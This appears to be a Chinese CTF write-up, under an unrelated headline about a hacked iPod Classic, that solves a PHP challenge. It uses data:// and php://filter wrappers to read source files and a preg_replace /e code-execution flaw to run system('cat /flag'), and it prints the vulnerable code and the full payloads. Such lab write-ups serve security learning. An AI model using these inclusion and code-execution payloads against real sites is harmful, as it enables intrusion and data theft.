17 年前的蘋果 iPod Classic 被破解,可播放 Spotify 音樂
阿新 • • 發佈:2021-01-30
技術標籤:CTF刷題
<?php
error_reporting(0);
$text = $_GET["text"];
$file = $_GET["file"];
if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>" ;
if(preg_match("/flag/",$file)){
die("Not now!");
}
include($file); //next.php
}
else{
highlight_file(__FILE__);
}
?>
1.利用$text繞過第一次匹配:
?text=data://text/plains,I have a dream
也可以使用另一種方法
?text=php://input
2.根據題目提示讀取next.php
file=php://filter/read/convert.base64-encode/resource= next.php
合成後的payload如下:
?text=data://text/plains,I have a dream&file=php://filter/read/convert.base64-encode/resource=next.php
由於我們讀取到的next.php是base64加密過後的,所以用base64解碼,檢視原始碼。
<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;
function complex($re, $str) {
return preg_replace(
'/(' . $re . ')/ei' ,
'strtolower("\\1")',
$str
);
}
foreach($_GET as $re => $str) {
echo complex($re, $str). "\n";
}
function getFlag(){
@eval($_GET['cmd']);
}
這裡主要是用到了preg_replace /e 的程式碼執行漏洞。細節可以參考這裡:preg_replace() /e程式碼執行漏洞
接著構造payload,讀取flag:
next.php?\S*=${getFlag()}&cmd=system("cat /flag");